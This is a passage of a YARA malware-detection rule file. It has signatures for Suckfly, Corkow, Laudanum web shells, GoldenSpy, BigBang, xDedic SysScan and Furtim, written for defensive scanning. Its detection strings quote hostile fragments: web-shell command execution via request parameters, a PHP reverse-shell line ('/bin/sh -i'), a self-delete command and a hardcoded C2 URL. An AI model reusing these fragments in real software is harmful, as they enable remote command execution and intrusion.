		$op2 = { e8 af bb ef ff b8 ff ff ff ff e9 f4 01 00 00 8b }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 10000KB and ( pe.imphash ( ) == "f4e1c3aaec90d5dfa23c04da75ac9501" or 1 of ( $x* ) or ( $s1 and 2 of ( $op* ) ) )
}

rule Suckfly_Nidiran_Gen_1
{
	meta:
		description = "Detects Suckfly Nidiran Trojan"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates"
		date = "2018-01-28"
		hash1 = "ac7d7c676f58ebfa5def9b84553f00f283c61e4a310459178ea9e7164004e734"
		id = "1abc596a-5fb1-55f9-b72d-022bfc6d10c7"

	strings:
		$s1 = "WriteProcessMemory fail at %d " fullword ascii
		$s2 = "CreateRemoteThread fail at %d " fullword ascii
		$s3 = "CreateRemoteThread Succ" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and 2 of them
}

rule Suckfly_Nidiran_Gen_2
{
	meta:
		description = "Detects Suckfly Nidiran Trojan"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates"
		date = "2018-01-28"
		hash1 = "b53a316a03b46758cb128e5045dab2717cb36e7b5eb1863ce2524d4f69bc2cab"
		hash2 = "eaee2bf83cf90d35dab8a4711f7a5f2ebf9741007668f3746995f4564046fbdf"
		id = "b090079d-1c22-5931-a25b-e960343a610f"

	strings:
		$x1 = "WorkDll.dll" fullword ascii
		$x2 = "%userprofile%\\Security Center\\secriter.dll" fullword ascii
		$s1 = "DLL_PROCESS_ATTACH is called" fullword ascii
		$s2 = "Support Security Accounts Manager For Microsoft Windows.If this service is stopped, any services that depended on it will fail t" ascii
		$s3 = "before CreateRemoteThread" fullword ascii
		$s4 = "CreateRemoteThread Succ" fullword ascii
		$s5 = "Microsoft Security Accounts Manager" fullword ascii
		$s6 = "DoRunRemote" fullword ascii
		$s7 = "AutoRunFun" fullword ascii
		$s8 = "ServiceMain is called" fullword ascii
		$s9 = "DllRegisterServer is called" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and ( 1 of ( $x* ) or 4 of them )
}

import "pe"

rule Suckfly_Nidiran_Gen_3
{
	meta:
		description = "Detects Suckfly Nidiran Trojan"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates"
		date = "2018-01-28"
		hash1 = "c2022e1114b162e79e44d974fd310d53e1bbdd8cb4f217553c1227cafed78855"
		hash2 = "47731c9d985ebc2bd7227fced3cc44c6d72e29b52f76fccbdaddd76cc3450706"
		id = "d9daf7e4-2cfa-50c9-84d2-c971734abe5e"

	strings:
		$x1 = "RUN SHELLCODE FAIL" fullword ascii
		$x2 = "RUN PROCESS FAILD!" fullword ascii
		$x3 = "DOWNLOAD FILE FAILD" fullword ascii
		$x4 = "MODIFYCONFIG FAIL!" fullword ascii
		$x5 = "GetFileAttributes FILE FAILD" fullword ascii
		$x6 = "MODIFYCONFIG SUCC!" fullword ascii
		$s1 = "cmd.exe /c %s" fullword ascii
		$s2 = "error to create pipe!" fullword ascii
		$s3 = "%s\\%08x.exe" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and ( pe.imphash ( ) == "ae0f4ebf7e8ce91d6548318a3cf82b7a" or 1 of ( $x* ) or 2 of them )
}

import "pe"

rule CorkowDLL
{
	meta:
		description = "Rule to detect the Corkow DLL files"
		author = "Group IB"
		date = "01.02.2016"
		referenced = "https://www.group-ib.ru/brochures/Group-IB-Corkow-Report-EN.pdf"
		id = "cc9d2bb3-8db3-54a0-bd05-7f054ce84633"

	strings:
		$binary1 = { 60 [0-8] 9C [0-8] BB ?? ?? ?? ?? [0-8] 81 EB ?? ?? ?? ?? [0-8] E8 ?? 00 00 00 [0-8] 58 [0-8] 2B C3 }
		$binary2 = { (FF 75 ?? | 53) FF 75 10 FF 75 0C FF 75 08 E8 ?? ?? ?? ?? [3-9] C9 C2 0C 00 }

	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $binary* ) and ( pe.exports ( "Control_RunDLL" ) or pe.exports ( "ServiceMain" ) or pe.exports ( "DllGetClassObject" ) ) or ( pe.exports ( "ServiceMain" ) and pe.exports ( "Control_RunDLL" ) ) )
}

rule asp_file
{
	meta:
		description = "Laudanum Injector Tools - file file.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://laudanum.inguardians.com/"
		date = "2015-06-22"
		hash = "ff5b1a9598735440bdbaa768b524c639e22f53c5"
		id = "e2a80d1f-f2bb-573b-b68c-71e4dfa6e1fa"

	strings:
		$s1 = "' *** Written by Tim Medin <tim@counterhack.com>" fullword ascii
		$s2 = "Response.BinaryWrite(stream.Read)" fullword ascii
		$s3 = "Response.Write(Response.Status & Request.ServerVariables(\"REMOTE_ADDR\"))" fullword ascii
		$s4 = "%><a href=\"<%=Request.ServerVariables(\"URL\")%>\">web root</a><br/><%" fullword ascii
		$s5 = "set folder = fso.GetFolder(path)" fullword ascii
		$s6 = "Set file = fso.GetFile(filepath)" fullword ascii

	condition:
		uint16( 0 ) == 0x253c and filesize < 30KB and 5 of them
}

rule php_killnc
{
	meta:
		description = "Laudanum Injector Tools - file killnc.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://laudanum.inguardians.com/"
		date = "2015-06-22"
		hash = "c0dee56ee68719d5ec39e773621ffe40b144fda5"
		id = "241611d3-3636-5a25-b3c3-d45d6cb81c78"

	strings:
		$s1 = "if ($_SERVER[\"REMOTE_ADDR\"] == $IP)" fullword ascii
		$s2 = "header(\"HTTP/1.0 404 Not Found\");" fullword ascii
		$s3 = "<?php echo exec('killall nc');?>" fullword ascii
		$s4 = "<title>Laudanum Kill nc</title>" fullword ascii
		$s5 = "foreach ($allowedIPs as $IP) {" fullword ascii

	condition:
		filesize < 15KB and 4 of them
}

rule asp_shell
{
	meta:
		description = "Laudanum Injector Tools - file shell.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://laudanum.inguardians.com/"
		date = "2015-06-22"
		hash = "8bf1ff6f8edd45e3102be5f8a1fe030752f45613"
		id = "3ae27254-325a-5358-b5aa-ab24b43ad5a6"

	strings:
		$s1 = "<form action=\"shell.asp\" method=\"POST\" name=\"shell\">" fullword ascii
		$s2 = "%ComSpec% /c dir" fullword ascii
		$s3 = "Set objCmd = wShell.Exec(cmd)" fullword ascii
		$s4 = "Server.ScriptTimeout = 180" fullword ascii
		$s5 = "cmd = Request.Form(\"cmd\")" fullword ascii
		$s6 = "' ***  http://laudanum.secureideas.net" fullword ascii
		$s7 = "Dim wshell, intReturn, strPResult" fullword ascii

	condition:
		filesize < 15KB and 4 of them
}

rule settings
{
	meta:
		description = "Laudanum Injector Tools - file settings.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://laudanum.inguardians.com/"
		date = "2015-06-22"
		hash = "588739b9e4ef2dbb0b4cf630b73295d8134cc801"
		id = "054b8723-fdfa-51dc-91ae-b915e40b2e54"

	strings:
		$s1 = "Port: <input name=\"port\" type=\"text\" value=\"8888\">" fullword ascii
		$s2 = "<li>Reverse Shell - " fullword ascii
		$s3 = "<li><a href=\"<?php echo plugins_url('file.php', __FILE__);?>\">File Browser</a>" ascii

	condition:
		filesize < 13KB and all of them
}

rule asp_proxy
{
	meta:
		description = "Laudanum Injector Tools - file proxy.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://laudanum.inguardians.com/"
		date = "2015-06-22"
		hash = "51e97040d1737618b1775578a772fa6c5a31afd8"
		id = "6193b48a-b3da-5c1e-84e8-0035d9e7ade6"

	strings:
		$s1 = "'response.write \"<br/>  -value:\" & request.querystring(key)(j)" fullword ascii
		$s2 = "q = q & \"&\" & key & \"=\" & request.querystring(key)(j)" fullword ascii
		$s3 = "for each i in Split(http.getAllResponseHeaders, vbLf)" fullword ascii
		$s4 = "'urlquery = mid(urltemp, instr(urltemp, \"?\") + 1)" fullword ascii
		$s5 = "s = urlscheme & urlhost & urlport & urlpath" fullword ascii
		$s6 = "Set http = Server.CreateObject(\"Microsoft.XMLHTTP\")" fullword ascii

	condition:
		filesize < 50KB and all of them
}

rule cfm_shell
{
	meta:
		description = "Laudanum Injector Tools - file shell.cfm"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://laudanum.inguardians.com/"
		date = "2015-06-22"
		hash = "885e1783b07c73e7d47d3283be303c9719419b92"
		id = "5308eecf-a59f-5100-ab60-5034c5b73e7e"

	strings:
		$s1 = "Executable: <Input type=\"text\" name=\"cmd\" value=\"cmd.exe\"><br>" fullword ascii
		$s2 = "<cfif ( #suppliedCode# neq secretCode )>" fullword ascii
		$s3 = "<cfif IsDefined(\"form.cmd\")>" fullword ascii

	condition:
		filesize < 20KB and 2 of them
}

rule aspx_shell
{
	meta:
		description = "Laudanum Injector Tools - file shell.aspx"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://laudanum.inguardians.com/"
		date = "2015-06-22"
		hash = "076aa781a004ecb2bf545357fd36dcbafdd68b1a"
		id = "d4287007-79af-59fa-b8c8-3ac08d75b3bd"

	strings:
		$s1 = "remoteIp = HttpContext.Current.Request.Headers[\"X-Forwarded-For\"].Split(new" ascii
		$s2 = "remoteIp = Request.UserHostAddress;" fullword ascii
		$s3 = "<form method=\"post\" name=\"shell\">" fullword ascii
		$s4 = "<body onload=\"document.shell.c.focus()\">" fullword ascii

	condition:
		filesize < 20KB and all of them
}

rule php_shell
{
	meta:
		description = "Laudanum Injector Tools - file shell.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://laudanum.inguardians.com/"
		date = "2015-06-22"
		hash = "dc5c03a21267d024ef0f5ab96a34e3f6423dfcd6"
		id = "8d3dcb16-090b-5a9f-b3d2-3822ec467f69"

	strings:
		$s1 = "command_hist[current_line] = document.shell.command.value;" fullword ascii
		$s2 = "if (e.keyCode == 38 && current_line < command_hist.length-1) {" fullword ascii
		$s3 = "array_unshift($_SESSION['history'], $command);" fullword ascii
		$s4 = "if (preg_match('/^[[:blank:]]*cd[[:blank:]]*$/', $command)) {" fullword ascii

	condition:
		filesize < 40KB and all of them
}

rule php_reverse_shell
{
	meta:
		description = "Laudanum Injector Tools - file php-reverse-shell.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://laudanum.inguardians.com/"
		date = "2015-06-22"
		hash = "3ef03bbe3649535a03315dcfc1a1208a09cea49d"
		id = "306d150f-95a8-57fd-8f5e-786c429af6b3"

	strings:
		$s1 = "$process = proc_open($shell, $descriptorspec, $pipes);" fullword ascii
		$s2 = "printit(\"Successfully opened reverse shell to $ip:$port\");" fullword ascii
		$s3 = "$input = fread($pipes[1], $chunk_size);" fullword ascii

	condition:
		filesize < 15KB and all of them
}

rule php_dns
{
	meta:
		description = "Laudanum Injector Tools - file dns.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://laudanum.inguardians.com/"
		date = "2015-06-22"
		hash = "01d5d16d876c55d77e094ce2b9c237de43b21a16"
		id = "a52e453b-07aa-58b9-91e7-f2426a8e8976"

	strings:
		$s1 = "$query = isset($_POST['query']) ? $_POST['query'] : '';" fullword ascii
		$s2 = "$result = dns_get_record($query, $types[$type], $authns, $addtl);" fullword ascii
		$s3 = "if ($_SERVER[\"REMOTE_ADDR\"] == $IP)" fullword ascii
		$s4 = "foreach (array_keys($types) as $t) {" fullword ascii

	condition:
		filesize < 15KB and all of them
}

rule WEB_INF_web
{
	meta:
		description = "Laudanum Injector Tools - file web.xml"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://laudanum.inguardians.com/"
		date = "2015-06-22"
		hash = "0251baed0a16c451f9d67dddce04a45dc26cb4a3"
		id = "8d0a008c-56d1-59ef-8521-0697add21ba9"

	strings:
		$s1 = "<servlet-name>Command</servlet-name>" fullword ascii
		$s2 = "<jsp-file>/cmd.jsp</jsp-file>" fullword ascii

	condition:
		filesize < 1KB and all of them
}

rule jsp_cmd
{
	meta:
		description = "Laudanum Injector Tools - file cmd.war"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://laudanum.inguardians.com/"
		date = "2015-06-22"
		hash = "55e4c3dc00cfab7ac16e7cfb53c11b0c01c16d3d"
		id = "74db62b8-82d5-5a34-aa72-2f85053715a4"

	strings:
		$s0 = "cmd.jsp}" fullword ascii
		$s1 = "cmd.jspPK" fullword ascii
		$s2 = "WEB-INF/web.xml" fullword ascii
		$s3 = "WEB-INF/web.xmlPK" fullword ascii
		$s4 = "META-INF/MANIFEST.MF" fullword ascii

	condition:
		uint16( 0 ) == 0x4b50 and filesize < 2KB and all of them
}

rule laudanum
{
	meta:
		description = "Laudanum Injector Tools - file laudanum.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://laudanum.inguardians.com/"
		date = "2015-06-22"
		hash = "fd498c8b195967db01f68776ff5e36a06c9dfbfe"
		id = "8c836aba-3644-5914-a3ff-937d0a6cd378"

	strings:
		$s1 = "public function __activate()" fullword ascii
		$s2 = "register_activation_hook(__FILE__, array('WP_Laudanum', 'activate'));" fullword ascii

	condition:
		filesize < 5KB and all of them
}

rule php_file
{
	meta:
		description = "Laudanum Injector Tools - file file.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://laudanum.inguardians.com/"
		date = "2015-06-22"
		hash = "7421d33e8007c92c8642a36cba7351c7f95a4335"
		id = "68456891-6828-5e42-b8a0-67ecaf83cdc0"

	strings:
		$s1 = "$allowedIPs =" fullword ascii
		$s2 = "<a href=\"<?php echo $_SERVER['PHP_SELF']  ?>\">Home</a><br/>" fullword ascii
		$s3 = "$dir  = isset($_GET[\"dir\"])  ? $_GET[\"dir\"]  : \".\";" fullword ascii
		$s4 = "$curdir .= substr($curdir, -1) != \"/\" ? \"/\" : \"\";" fullword ascii

	condition:
		filesize < 10KB and all of them
}

rule warfiles_cmd
{
	meta:
		description = "Laudanum Injector Tools - file cmd.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://laudanum.inguardians.com/"
		date = "2015-06-22"
		hash = "3ae3d837e7b362de738cf7fad78eded0dccf601f"
		id = "f974255b-cfbe-57b0-af1f-eddb7f12f5ed"

	strings:
		$s1 = "Process p = Runtime.getRuntime().exec(request.getParameter(\"cmd\"));" fullword ascii
		$s2 = "out.println(\"Command: \" + request.getParameter(\"cmd\") + \"<BR>\");" fullword ascii
		$s3 = "<FORM METHOD=\"GET\" NAME=\"myform\" ACTION=\"\">" fullword ascii
		$s4 = "String disr = dis.readLine();" fullword ascii

	condition:
		filesize < 2KB and all of them
}

rule asp_dns
{
	meta:
		description = "Laudanum Injector Tools - file dns.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://laudanum.inguardians.com/"
		date = "2015-06-22"
		hash = "5532154dd67800d33dace01103e9b2c4f3d01d51"
		id = "b0e30ca0-7163-5731-98c5-5a1893b8ea80"

	strings:
		$s1 = "command = \"nslookup -type=\" & qtype & \" \" & query " fullword ascii
		$s2 = "Set objCmd = objWShell.Exec(command)" fullword ascii
		$s3 = "Response.Write command & \"<br>\"" fullword ascii
		$s4 = "<form name=\"dns\" method=\"POST\">" fullword ascii

	condition:
		filesize < 21KB and all of them
}

rule php_reverse_shell_2
{
	meta:
		description = "Laudanum Injector Tools - file php-reverse-shell.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://laudanum.inguardians.com/"
		date = "2015-06-22"
		hash = "025db3c3473413064f0606d93d155c7eb5049c42"
		id = "f10cc33e-0cb6-5d08-af1f-5ef76368de9d"

	strings:
		$s1 = "$process = proc_open($shell, $descriptorspec, $pipes);" fullword ascii
		$s7 = "$shell = 'uname -a; w; id; /bin/sh -i';" fullword ascii

	condition:
		filesize < 10KB and all of them
}

rule Laudanum_Tools_Generic
{
	meta:
		description = "Laudanum Injector Tools"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://laudanum.inguardians.com/"
		date = "2015-06-22"
		super_rule = 1
		hash0 = "076aa781a004ecb2bf545357fd36dcbafdd68b1a"
		hash1 = "885e1783b07c73e7d47d3283be303c9719419b92"
		hash2 = "01d5d16d876c55d77e094ce2b9c237de43b21a16"
		hash3 = "7421d33e8007c92c8642a36cba7351c7f95a4335"
		hash4 = "f49291aef9165ee4904d2d8c3cf5a6515ca0794f"
		hash5 = "c0dee56ee68719d5ec39e773621ffe40b144fda5"
		hash6 = "f32b9c2cc3a61fa326e9caebce28ef94a7a00c9a"
		hash7 = "dc5c03a21267d024ef0f5ab96a34e3f6423dfcd6"
		hash8 = "fd498c8b195967db01f68776ff5e36a06c9dfbfe"
		hash9 = "b50ae35fcf767466f6ca25984cc008b7629676b8"
		hash10 = "5570d10244d90ef53b74e2ac287fc657e38200f0"
		hash11 = "42bcb491a11b4703c125daf1747cf2a40a1b36f3"
		hash12 = "83e4eaaa2cf6898d7f83ab80158b64b1d48096f4"
		hash13 = "dec7ea322898690a7f91db9377f035ad7072b8d7"
		hash14 = "a2272b8a4221c6cc373915f0cc555fe55d65ac4d"
		hash15 = "588739b9e4ef2dbb0b4cf630b73295d8134cc801"
		hash16 = "43320dc23fb2ed26b882512e7c0bfdc64e2c1849"
		id = "15738788-5f34-54d0-92fe-f7024c998a54"

	strings:
		$s1 = "***  laudanum@secureideas.net" fullword ascii
		$s2 = "*** Laudanum Project" fullword ascii

	condition:
		filesize < 60KB and all of them
}

rule LightFTP_fftp_x86_64
{
	meta:
		description = "Detects a light FTP server"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/hfiref0x/LightFTP"
		date = "2015-05-14"
		hash1 = "989525f85abef05581ccab673e81df3f5d50be36"
		hash2 = "5884aeca33429830b39eba6d3ddb00680037faf4"
		score = 50
		id = "9b62e990-1d8b-5d30-bb58-1f7f12552834"

	strings:
		$s1 = "fftp.cfg" fullword wide
		$s2 = "220 LightFTP server v1.0 ready" fullword ascii
		$s3 = "*FTP thread exit*" fullword wide
		$s4 = "PASS->logon successful" fullword ascii
		$s5 = "250 Requested file action okay, completed." fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 250KB and 4 of them
}

rule LightFTP_Config
{
	meta:
		description = "Detects a light FTP server - config file"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/hfiref0x/LightFTP"
		date = "2015-05-14"
		hash = "ce9821213538d39775af4a48550eefa3908323c5"
		id = "02ee1d04-1425-5dfd-9b9a-cd378aeda311"

	strings:
		$s2 = "maxusers=" wide
		$s6 = "[ftpconfig]" fullword wide
		$s8 = "accs=readonly" fullword wide
		$s9 = "[anonymous]" fullword wide
		$s10 = "accs=" fullword wide
		$s11 = "pswd=" fullword wide

	condition:
		uint16( 0 ) == 0xfeff and filesize < 1KB and all of them
}

rule MAL_SUSP_Gamaredon_GetImportByHash
{
	meta:
		description = "Detects Gamaredon APIHashing"
		author = "Frank Boldewin (@r3c0nst)"
		date = "2021-05-12"
		reference = "https://twitter.com/r3c0nst/status/1392405576131436546?s=20"
		hash1 = "2d03a301bae0e95a355acd464afc77fde88dd00232aad6c8580b365f97f67a79"
		hash2 = "43d6e56515cca476f7279c3f276bf848da4bc13fd15fad9663b9e044970253e8"
		hash3 = "5c09f6ebb7243994ddc466058d5dc9920a5fced5e843200b1f057bda087b8ba6"
		id = "8f28273e-e8ca-52cb-8dbc-a235598b1975"

	strings:
		$ParseImgExportDir = { 8B 50 3C 03 D0 8B 52 78 03 D0 8B 4A 1C 03 C8 }
		$djb2Hashing = { 8B 75 08 BA 05 15 00 00 8B C2 C1 E2 05 03 D0 33 DB 8A 1E 03 D3 46 33 DB 8A 1E 85 DB 75 }

	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule APT_MAL_BKA_GoldenSpy_Aug20_1
{
	meta:
		description = "Detects variants of GoldenSpy Malware"
		reference = "https://www.bka.de/SharedDocs/Kurzmeldungen/DE/Warnhinweise/200821_Cyberspionage.html"
		author = "BKA"
		date = "2020-08-21"
		id = "4f47087e-6e68-53ff-9446-72a1751da359"

	strings:
		$str01 = {c78510ffffff00000000 c78514ffffff0f000000 c68500ffffff00 c78528ffffff00000000 c7852cffffff0f000000 c68518ffffff00 c78540ffffff00000000 c78544ffffff0f000000 c68530ffffff00 c645fc14 80bd04feffff00}
		$str02 = "Ryeol HTTP Client Class" ascii
		$str03 = "----RYEOL-FB3B405B7EAE495aB0C0295C54D4E096-" ascii
		$str04 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\fwkp.exe" ascii
		$str05 = "svmm" ascii
		$str06 = "PROTOCOL_" ascii
		$str07 = "softList" ascii
		$str08 = "excuteExe" ascii

	condition:
		uint16( 0 ) == 0x5A4D and 5 of ( $str* )
}

import "pe"

rule APT_ME_BigBang_Gen_Jul18_1
{
	meta:
		description = "Detects malware from Big Bang campaign against Palestinian authorities"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://research.checkpoint.com/apt-attack-middle-east-big-bang/"
		date = "2018-07-09"
		hash1 = "4db68522600f2d8aabd255e2da999a9d9c9f1f18491cfce9dadf2296269a172b"
		hash2 = "ac6462e9e26362f711783b9874d46fefce198c4c3ca947a5d4df7842a6c51224"
		hash3 = "e1f52ea30d25289f7a4a5c9d15be97c8a4dfe10eb68ac9d031edcc7275c23dbc"
		id = "f1097998-9414-511c-b177-ff09154964a8"

	strings:
		$x2 = "%@W@%S@c@ri%@p@%t.S@%he@%l%@l" ascii
		$x3 = "S%@h%@e%l%@l." ascii
		$x4 = "(\"S@%t@%a%@rt%@up\")" ascii
		$x5 = "aW5zdGFsbCBwcm9nOiBwcm9nIHdpbGwgZGVsZXRlIG9sZCB0bXAgZmlsZQ==" fullword ascii
		$x6 = "aW5zdGFsbCBwcm9nOiBUaGVyZSBpcyBubyBvbGQgZmlsZSBpbiB0ZW1wLg==" fullword ascii
		$x7 = "VXBkYXRlIHByb2c6IFRoZXJlIGlzIG5vIG9sZCBmaWxlIGluIHRlbXAu" fullword ascii
		$x8 = "aW5zdGFsbCBwcm9nOiBDcmVhdGUgVGFzayBhZnRlciA1IG1pbiB0byBydW4gRmlsZSBmcm9tIHRtcA==" fullword ascii
		$x9 = "UnVuIEZpbGU6IE15IHByb2cgaXMgRXhpdC4=" fullword ascii
		$x10 = "li%@%@nk.W%@%@indo@%%@%@%wS%@%@tyle = 3" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and ( 1 of them or pe.imphash ( ) == "0f09ea2a68d04f331df9a5d0f8641332" )
}

rule APT_ME_BigBang_Mal_Jul18_1
{
	meta:
		description = "Detects malware from Big Bang report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://research.checkpoint.com/apt-attack-middle-east-big-bang/"
		date = "2018-07-09"
		hash1 = "ac6462e9e26362f711783b9874d46fefce198c4c3ca947a5d4df7842a6c51224"
		hash2 = "e1f52ea30d25289f7a4a5c9d15be97c8a4dfe10eb68ac9d031edcc7275c23dbc"
		id = "f30b2e11-f90a-5068-8eaa-25f11218ec6c"

	strings:
		$s1 = "%Y%m%d-%I-%M-%S" fullword ascii
		$s2 = "/api/serv/requests/%s/runfile/delete" fullword ascii
		$s3 = "\\part.txt" ascii
		$s4 = "\\ALL.txt" ascii
		$s5 = "\\sat.txt" ascii
		$s6 = "runfile.proccess_name" fullword ascii
		$s7 = "%s%s%p%s%zd%s%d%s%s%s%s%s" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and 4 of them
}

rule Base64_PS1_Shellcode
{
	meta:
		description = "Detects Base64 encoded PS1 Shellcode"
		author = "Nick Carr, David Ledbetter"
		reference = "https://twitter.com/ItsReallyNick/status/1062601684566843392"
		date = "2018-11-14"
		score = 65
		id = "7c3cec3b-a192-5bfd-b4f1-22b1afeb717e"

	strings:
		$substring = "AAAAYInlM"
		$pattern1 = "/OiCAAAAYInlM"
		$pattern2 = "/OiJAAAAYInlM"

	condition:
		$substring and 1 of ( $p* )
}

rule xDedic_SysScan_unpacked
{
	meta:
		author = " Kaspersky Lab"
		maltype = "crimeware"
		type = "crimeware"
		description = "Detects SysScan APT tool"
		reference = "https://securelist.com/blog/research/75027/xdedic-the-shady-world-of-hacked-servers-for-sale/"
		filetype = "Win32 EXE"
		date = "2016-03-14"
		version = "1.0"
		hash1 = "fac495be1c71012682ebb27092060b43"
		hash2 = "e8cc69231e209db7968397e8a244d104"
		hash3 = "a53847a51561a7e76fd034043b9aa36d"
		hash4 = "e8691fa5872c528cd8e72b82e7880e98"
		hash5 = "F661b50d45400e7052a2427919e2f777"
		id = "4f5d37b3-e3aa-51ec-b36e-b494c8abe227"

	strings:
		$a1 = "/c ping -n 2 127.0.0.1 & del \"SysScan.exe\"" ascii wide
		$a2 = "SysScan DEBUG Mode!!!" ascii wide
		$a3 = "This rechecking? (set 0/1 or press enter key)" ascii wide
		$a4 = "http://37.49.224.144:8189/manual_result" ascii wide
		$b1 = "Checker end work!" ascii wide
		$b2 = "Trying send result..." ascii wide

	condition:
		uint16( 0 ) == 0x5A4D and filesize < 5000000 and ( any of ( $a* ) or all of ( $b* ) )
}

rule xdedic_packed_syscan
{
	meta:
		author = "Kaspersky Lab - modified by Florian Roth"
		company = "Kaspersky Lab"
		id = "da8e59f3-53f9-504b-afff-9caab798db6c"

	strings:
		$a1 = "SysScan.exe" nocase ascii wide
		$a2 = "1.3.4." wide

	condition:
		uint16( 0 ) == 0x5A4D and filesize > 500KB and filesize < 1500KB and all of them
}

rule Furtim_nativeDLL
{
	meta:
		description = "Detects Furtim malware - file native.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "MISP 3971"
		date = "2016-06-13"
		hash1 = "4f39d3e70ed1278d5fa83ed9f148ca92383ec662ac34635f7e56cc42eeaee948"
		id = "4639b637-55d3-5591-9278-5a21de23ac72"

	strings:
		$s1 = "FqkVpTvBwTrhPFjfFF6ZQRK44hHl26" fullword ascii
		$op0 = { e0 b3 42 00 c7 84 24 ac }
		$op1 = { a1 e0 79 44 00 56 ff 90 10 01 00 00 a1 e0 79 44 }
		$op2 = { bf d0 25 44 00 57 89 4d f0 ff 90 d4 02 00 00 59 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 900KB and $s1 or all of ( $op* )
}

rule Furtim_Parent_1
{
	meta:
		description = "Detects Furtim Parent Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://sentinelone.com/blogs/sfg-furtims-parent/"
		date = "2016-07-16"
		hash1 = "766e49811c0bb7cce217e72e73a6aa866c15de0ba11d7dda3bd7e9ec33ed6963"
		id = "a47719d2-1e4f-50a9-b340-55e13f5a24d5"

	strings:
		$x1 = "dqrChZonUF" fullword ascii
		$s1 = "Egistec" fullword wide
		$s2 = "Copyright (C) 2016" fullword wide
		$op1 = { c0 ea 02 88 55 f8 8a d1 80 e2 03 }
		$op2 = { 5d fe 88 55 f9 8a d0 80 e2 0f c0 }
		$op3 = { c4 0c 8a d9 c0 eb 02 80 e1 03 88 5d f8 8a d8 c0 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 900KB and ( $x1 or ( all of ( $s* ) and all of ( $op* ) ) ) ) or all of them
}

rule OilRig_Malware_Campaign_Gen1
{
	meta:
